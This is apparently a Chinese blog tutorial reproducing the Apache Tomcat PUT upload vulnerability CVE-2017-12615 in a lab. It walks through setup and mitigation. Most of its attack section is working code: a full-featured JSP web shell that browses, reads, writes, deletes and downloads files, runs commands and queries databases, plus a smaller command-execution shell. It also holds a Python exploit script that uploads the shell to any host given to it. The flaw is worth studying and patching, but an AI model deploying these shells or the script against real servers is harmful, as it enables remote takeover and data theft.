Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)

本次实验仅供学习参考,请勿非法利用。

漏洞介绍

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

• 漏洞名称:Tomcat任意文件上传漏洞
• 漏洞编号:CVE-2017-12615
• 漏洞影响:上传包含任意代码的文件,并被服务器执行。
• 影响平台:Windows
• 影响版本:Apache Tomcat 7.0.0 - 7.0.81

漏洞解析

在conf/web.xml中发现,默认配置readonly参数为true(默认值),即不允许DELETE和PUT操作。一般开发过程都会开启此配置,如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
在这里插入图片描述
将 readonly 参数为false,既可通过PUT方式上传jsp文件,并通过其执行远程代码,通过 PUT / DELETE 进行文件操控。
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第1张图片

搭建环境(如果已经有环境了可以跳过)

本次使用到的工具:
tomcat7.0.75
jdk-8u181-windows-x64.exe
BurpSuite
Firefox
中国菜刀或中国蚁剑
python2.x

1、 安装JDK安装包,右键点击jdk.exe打开,点击下一步
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第2张图片
2、默认下一步
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第3张图片
3、点击确定
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第4张图片
4、这里没显示出来,点击第二个按钮 下一步
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第5张图片
5、提示已成功安装就OK了
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第6张图片
6、配置java环境:右键计算机属性-高级系统设置-高级-环境变量-新建
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第7张图片
7、输入变量名:CLASSPATH 变量值:.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
然后点确定
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第8张图片
8、再次新建-输入变量名:JAVA_HOME 变量值:C:\Program Files\Java\jdk1.8.0_181 再次点击确定
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第9张图片
9、选中Path-点击编辑-末尾加上;%JAVA_HOME%\jre\bin 再次点击确定,点击确定应用该环境变量
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第10张图片
10、cmd输入java –version 提示如下即为配置成功
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第11张图片
11、部署tomcat安装包,右键解压zip压缩包到C盘下。
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第12张图片
12、进入Tomcat目录,打开apache-tomcat-7.0.75.exe安装程序
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第13张图片
13、点击下一步,点击I Agree
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第14张图片
14、点击next下一步
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第15张图片
15、输入用户名、密码 admin admin ,点击next
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第16张图片
16、再次点击next、点击install,点击finish
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第17张图片
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第18张图片
17、打开本地ie,输入http://127.0.0.1:8080,如果提示如下,需要手动关闭IE增强配置
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第19张图片
18、打开开始菜单,点击管理工具-服务器管理器
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第20张图片
19、点击配置IE ESC 选中禁用后点击确定
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第21张图片
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第22张图片
20、打开IE,点击工具-点击Internet选项,点击安全-取消启用保护模式-点击确定
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第23张图片
21、再次访问http://127.0.0.1:8080,显示此页面即可
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第24张图片
22、服务搭建完成,开启HTTP PUT
修改C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf下的web.xml文件。默认配置条件下不受此漏洞影响。所以需要修改下参数。添加readonly属性,使者readonly=false.
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第25张图片
23、修改完成后任务管理器重启服务,或者右下角点击图标重启服务器
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第26张图片
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第27张图片

开始任意文件上传

1、firefox开启网络代理
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第28张图片
2、BurpSuite开启拦截(BurpSuite使用前设置好代理端口)
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第29张图片
3、浏览tomcat搭建的网页,打开BurpSuite可以看到拦截的数据包,右键选择发送到Repeater
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第30张图片
4、点击重发器
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第31张图片
5、GET请求修改为PUT,/后面加要上传文件的jsp%20 不加会被过滤掉,直接报404(%20是为了绕过过滤),在底端加代码,点击发送。代码如下:

Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第32张图片

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";

    String EC(String s, String c) throws Exception {
        return s;
    }//new String(s.getBytes("ISO-8859-1"),c);}

    Connection GC(String s) throws Exception {
        String[] x = s.trim().split("\r\n");
        Class.forName(x[0].trim()).newInstance();
        Connection c = DriverManager.getConnection(x[1].trim());
        if (x.length > 2) {
            c.setCatalog(x[2].trim());
        }
        return c;
    }

    void AA(StringBuffer sb) throws Exception {
        File r[] = File.listRoots();
        for (int i = 0; i < r.length; i++) {
            sb.append(r[i].toString().substring(0, 2));
        }
    }

    void BB(String s, StringBuffer sb) throws Exception {
        File oF = new File(s), l[] = oF.listFiles();
        String sT, sQ, sF = "";
        java.util.Date dt;
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i = 0; i < l.length; i++) {
            dt = new java.util.Date(l[i].lastModified());
            sT = fm.format(dt);
            sQ = l[i].canRead() ? "R" : "";
            sQ += l[i].canWrite() ? " W" : "";
            if (l[i].isDirectory()) {
                sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                        + "\t" + sQ + "\n");
            } else {
                sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                        + sQ + "\n";
            }
        }
        sb.append(sF);
    }

    void EE(String s) throws Exception {
        File f = new File(s);
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (int k = 0; k < x.length; k++) {
                if (!x[k].delete()) {
                    EE(x[k].getPath());
                }
            }
        }
        f.delete();
    }

    void FF(String s, HttpServletResponse r) throws Exception {
        int n;
        byte[] b = new byte[512];
        r.reset();
        ServletOutputStream os = r.getOutputStream();
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
        os.write(("->" + "|").getBytes(), 0, 3);
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.write(("|" + "<-").getBytes(), 0, 3);
        os.close();
        is.close();
    }

    void GG(String s, String d) throws Exception {
        String h = "0123456789ABCDEF";
        int n;
        File f = new File(s);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < d.length(); i += 2) {
            os
                    .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                            .charAt(i + 1))));
        }
        os.close();
    }

    void HH(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (int j = 0; j < z.length; j++) {
                HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
    }

    void II(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        sf.renameTo(df);
    }

    void JJ(String s) throws Exception {
        File f = new File(s);
        f.mkdir();
    }

    void KK(String s, String t) throws Exception {
        File f = new File(s);
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt = fm.parse(t);
        f.setLastModified(dt.getTime());
    }

    void LL(String s, String d) throws Exception {
        URL u = new URL(s);
        int n;
        FileOutputStream os = new FileOutputStream(d);
        HttpURLConnection h = (HttpURLConnection) u.openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[512];
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
    }

    void MM(InputStream is, StringBuffer sb) throws Exception {
        String l;
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        while ((l = br.readLine()) != null) {
            sb.append(l + "\r\n");
        }
    }

    void NN(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        ResultSet r = c.getMetaData().getCatalogs();
        while (r.next()) {
            sb.append(r.getString(1) + "\t");
        }
        r.close();
        c.close();
    }

    void OO(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        String[] t = { "TABLE" };
        ResultSet r = c.getMetaData().getTables(null, null, "%", t);
        while (r.next()) {
            sb.append(r.getString("TABLE_NAME") + "\t");
        }
        r.close();
        c.close();
    }

    void PP(String s, StringBuffer sb) throws Exception {
        String[] x = s.trim().split("\r\n");
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1007);
        ResultSet r = m.executeQuery("select * from " + x[3]);
        ResultSetMetaData d = r.getMetaData();
        for (int i = 1; i <= d.getColumnCount(); i++) {
            sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                    + ")\t");
        }
        r.close();
        m.close();
        c.close();
    }

    void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
        int i;
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1008);
        try {
            ResultSet r = m.executeQuery(q);
            ResultSetMetaData d = r.getMetaData();
            int n = d.getColumnCount();
            for (i = 1; i <= n; i++) {
                sb.append(d.getColumnName(i) + "\t|\t");
            }
            sb.append("\r\n");
            while (r.next()) {
                for (i = 1; i <= n; i++) {
                    sb.append(EC(r.getString(i), cs) + "\t|\t");
                }
                sb.append("\r\n");
            }
            r.close();
        } catch (Exception e) {
            sb.append("Result\t|\t\r\n");
            try {
                m.executeUpdate(q);
                sb.append("Execute Successfully!\t|\t\r\n");
            } catch (Exception ee) {
                sb.append(ee.toString() + "\t|\t\r\n");
            }
        }
        m.close();
        c.close();
    }%>
     
     
<%
    String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
    request.setCharacterEncoding(cs);
    response.setContentType("text/html;charset=" + cs);
    String Z = EC(request.getParameter(Pwd) + "", cs);
    String z1 = EC(request.getParameter("z1") + "", cs);
    String z2 = EC(request.getParameter("z2") + "", cs);
    StringBuffer sb = new StringBuffer("");
    try {
        sb.append("->" + "|");
        if (Z.equals("A")) {
            String s = new File(application.getRealPath(request
                    .getRequestURI())).getParent();
            sb.append(s + "\t");
            if (!s.substring(0, 1).equals("/")) {
                AA(sb);
            }
        } else if (Z.equals("B")) {
            BB(z1, sb);
        } else if (Z.equals("C")) {
            String l = "";
            BufferedReader br = new BufferedReader(
                    new InputStreamReader(new FileInputStream(new File(
                            z1))));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
            br.close();
        } else if (Z.equals("D")) {
            BufferedWriter bw = new BufferedWriter(
                    new OutputStreamWriter(new FileOutputStream(
                            new File(z1))));
            bw.write(z2);
            bw.close();
            sb.append("1");
        } else if (Z.equals("E")) {
            EE(z1);
            sb.append("1");
        } else if (Z.equals("F")) {
            FF(z1, response);
        } else if (Z.equals("G")) {
            GG(z1, z2);
            sb.append("1");
        } else if (Z.equals("H")) {
            HH(z1, z2);
            sb.append("1");
        } else if (Z.equals("I")) {
            II(z1, z2);
            sb.append("1");
        } else if (Z.equals("J")) {
            JJ(z1);
            sb.append("1");
        } else if (Z.equals("K")) {
            KK(z1, z2);
            sb.append("1");
        } else if (Z.equals("L")) {
            LL(z1, z2);
            sb.append("1");
        } else if (Z.equals("M")) {
            String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
            Process p = Runtime.getRuntime().exec(c);
            MM(p.getInputStream(), sb);
            MM(p.getErrorStream(), sb);
        } else if (Z.equals("N")) {
            NN(z1, sb);
        } else if (Z.equals("O")) {
            OO(z1, sb);
        } else if (Z.equals("P")) {
            PP(z1, sb);
        } else if (Z.equals("Q")) {
            QQ(cs, z1, z2, sb);
        }
    } catch (Exception e) {
        sb.append("ERROR" + ":// " + e.toString());
    }
    sb.append("|" + "<-");
    out.print(sb.toString());
%>


6、关闭BurpSuite拦截,访问网址后面加/xxxxx.jsp,使用菜刀或蚁剑连接,密码是pass
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第33张图片
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第34张图片
7、右键点击添加网址,点击文件管理,即可以控制目标服务器文件
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第35张图片
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第36张图片

任意代码上传执行

1、访问Tomcat网页,使用BurpSuite抓包,发送Repeater,修改GET为PUT,/后面加上vvv.jsp%20 添加下面代码后点击发送。代码如下:
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第37张图片

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>

2、关闭BurpSuite拦截,浏览器访问网址/vvv.jsp
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第38张图片
3、在浏览器地址后面加上?&pwd=023&cmd=ipconfig 查看返回效果
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第39张图片
4、使用某大佬的python脚本,代码如下。注意使用python2.x版本执行
在这里插入图片描述

#! -*- coding:utf-8 -*- 

import httplib

import sys

import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>''' try: conn = httplib.HTTPConnection(sys.argv[1]) conn.request(method='OPTIONS', url='/ffffzz') headers = dict(conn.getresponse().getheaders()) if 'allow' in headers and \ headers['allow'].find('PUT') > 0 : conn.close() conn = httplib.HTTPConnection(sys.argv[1]) url = "/" + str(int(time.time()))+'.jsp/' #url = "/" + str(int(time.time()))+'.jsp::$DATA' conn.request( method='PUT', url= url, body=body) res = conn.getresponse() if res.status == 201 : #print 'shell:', 'http://' + sys.argv[1] + url[:-7] print 'shell:', 'http://' + sys.argv[1] + url[:-1] elif res.status == 204 : print 'file exists' else: print 'error' conn.close() else: print 'Server not vulnerable' except Exception,e: print 'Error:', e

5、访问http://192.168.0.138:8080/1593330888.jsp 末尾加上?&pwd=023&cmd=ipconfig (cmd后面命令可以加其他命令如tasklist)
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第40张图片
Tomcat任意文件上传(CVE-2017-12615)漏洞复现(附POC)_第41张图片

解决方法

临时解决:用户可以禁用PUT方法来防护此漏洞,操作方式如下:

在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数,确保readonly参数为true(默认值),即不允许DELETE和PUT操作。


readonly
true

最佳解决方法:升级Tomcat版本

POC

poc链接: https://pan.baidu.com/s/1HYKnMPbNf5Gfr3KbU5sMWg. 提取码ekpk

你可能感兴趣的:(中间件漏洞,应用程序漏洞,运维,安全漏洞,tomcat)